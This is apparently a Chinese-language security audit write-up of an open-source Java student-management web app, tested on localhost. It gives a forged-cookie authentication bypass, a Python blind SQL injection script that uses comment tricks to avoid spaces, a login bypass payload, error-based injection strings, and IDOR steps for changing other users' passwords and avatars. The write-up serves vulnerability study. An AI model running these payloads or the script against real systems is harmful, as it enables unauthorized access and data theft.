https://github.com/Hui4401/StudentManager
之前也没审过java的项目,刚学java,就从index.jsp开始一个一个点追吧
这里遍历获取到cookie,是否存在name键
如果cookie中存在name就把name的值调用findWithId()函数
如果是老师就进入one_page_student,如果是学生就进入student/main.jsp
继续看一下findWithId()函数
这里就是把name的值,在数据库中查询,而且是直接sql语句的拼接肯定有注入,这个后面再说
如果查到了就返回tea
所以这里可以伪造一下存在的用户,不用登录就可以直接跳转到后台
访问login.jsp,抓包
更改路径为index.jsp, cookie中添加存在用户123
GET /index.jsp HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Phpstorm-9e28e970=dbc7cd43-3413-4de5-aa40-3254070809b3; JSESSIONID=0F189B92035E90638972A9FB86734AC0;name=123
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
直接进入后台
这里之前提到了findWithId()函数存在SQL语句拼接,所以name的值直接就可以利用
存在一个盲注,如果语句查询正确就是跳转到one_page_student,错误就是跳到login.jsp
这里cookie注入还有一点坑点,空格和,号不能用,绕过一下,写了个脚本
成功得到库名
import requests
import string
charset = ",@"+ string.digits + string.ascii_lowercase + string.ascii_uppercase + string.printable + string.punctuation
def r(s):
s = s.replace(" ", "/**/")
return s
sql = "database()"
result = ""
for i in range(1,100):
for c in charset:
cc = ord(c)
cookie = f'''name=123'/**/and/**/ascii(substring({sql}/**/from/**/{i}))={cc}#'''
url = "http://localhost:8080/index.jsp"
proxies = {"http": "http://127.0.0.1:8081"}
headers = {
"cookie": cookie}
r = requests.get(url,allow_redirects=False,headers=headers)
if "one_page_student" in r.headers.get('Location'):
result += c
print(result)
break
print('over!!!')
继续来看login.jsp,先搞搞登录
这里把前端得到的用户密码交给了check_login去处理
直接来看check_login
这里把获取到的用户名密码交给了checkAccount函数
跟进看一下
发现是sql语句拼接用户名密码
那可以用万能密码进行登录了
123'#
sdsdsfsd
直接登录成功
报错注入
user=123'/**/and/**/extractvalue(1,concat(0x7e,(select/**/@@version),0x7e))#&password=sdsdsfsd
登录看完了来看看注册
这里把数据交给了check_register处理
这里看到session去获取验证码的值
这个验证码randStr的值是在code.jsp中去设置的,并没有去设置失效的时间
所以验证码可以重复利用导致
注册一个用户qwe
抓包然后把用户名改成qwe1,qwe2
查看数据库,发现全部注册成功
开始看看后台
从个人信息开始
有一个文件上传的功能,但是我本地是mac,截断没成功,不知道师傅们有没有手法可以上传成功
但是可以干坏事,更改id去改其他用户的头像
登录zzu的账号头像是这个
然后退出登录,登录123
给123上传头像,抓包替换id为zzu
发现123头像没变,退出登录zzu的账号
头像被替换
既然这个id可以控那还可以尝试一下目录穿越,就是这个拼接很难受,没绕过去
id改成../zzu
发现在上层目录看到了zzu.jpeg
个人信息密码这里调用了update_teacher
跟进看一下
调用updateTeacher()函数,去更改密码以及其他的参数
跟进updateTeacher()函数,这里可以直接改其他的用户密码等信息
这里数据库中zzu的密码是123
在123用户处抓包更改为zzu,密码改成123456
查看zzu的数据已经被成功替换
还是这个点,updateTeacher()函数这里还调用了一个findWithId()函数
id在findWithId()中也是SQL语句拼接
在uid这里报错注入
uid=zzu'/**/and/**/extractvalue(1,concat(0x7e,(select/**/@@version),0x7e))#&name=zzu&sex=%E7%94%B7&email=123%40test.com&password=123456
下一步学生管理
搜索处调用了one_page_student
继续跟进,这个key进入了findWithId()函数
findWithId()函数
key=1111'/**/and/**/extractvalue(1,concat(0x7e,(select/**/@@version),0x7e))#
然后就是在dao中写的函数基本上是一些sql语句的拼接,可以全局搜索哪些地方调用了这些函数,就是有sql注入了。